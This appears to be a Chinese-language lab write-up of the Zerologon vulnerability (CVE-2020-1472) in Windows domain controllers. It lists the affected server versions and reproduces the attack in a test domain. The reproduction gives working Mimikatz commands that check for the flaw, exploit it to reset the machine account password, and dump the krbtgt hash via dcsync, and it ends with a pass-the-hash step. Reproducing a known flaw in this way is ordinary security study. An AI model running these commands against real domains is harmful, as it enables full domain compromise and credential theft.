0%

Zerologon

  • 简介

    2020年8月,微软修补CVE-2020-1472,Zerologon.域内权限提升重大安全问题,因为它允许没有凭据的情况下提升至域管理员权限,危害域内安全。

    最初Zerologong攻击通过重置Active Directory账号密码为空,这使攻击者可以将该域控制器认证为另一个域控制器,甚至是同一域控制器。能够作为域控制器进行身份验证具有很高的特权,因为域控制器可以使用DRSUAPI协议来同步Active Directory数据,包括NT哈希和Kerberos密钥。这些密钥又可用于模拟域中的任何用户,或创建伪造的Kerberos票证,进行横向移动。

  • 影响范围:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Windows Server 2008 R2 for x64-based Systems Service Pack 1
    Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    Windows Server 2012
    Windows Server 2012 (Server Core installation)
    Windows Server 2012 R2
    Windows Server 2012 R2 (Server Core installation)
    Windows Server 2016
    Windows Server 2016 (Server Core installation)
    Windows Server 2019
    Windows Server 2019 (Server Core installation)
    Windows Server, version 1903 (Server Core installation)
    Windows Server, version 1909 (Server Core installation)
    Windows Server, version 2004 (Server Core installation)

实验复现:

域内机器: 192.168.195.15 x64win2k8r2

dc机器: 192.168.195.11 x64win2k12r2

Mimikatz 命令:

lsadump::zerologon /target:ad.3bin.local /account:ad$ //检测漏洞是否存在

img1.jpg

img2.jpg

lsadump::zerologon /target:ad.3bin.local /account:ad$ /exploit //发起攻击

img3.jpg

lsadump::dcsync /domain:3bin.local /dc:ad.3bin.local /user:krbtgt /authuser:ad$ /authdomain:3bin.local /authpassword:"" /authntlm //拖取域内hash

img4.jpg

利用mimikatz 进行Pass The Hash 攻击:

img5.jpg

参考链接: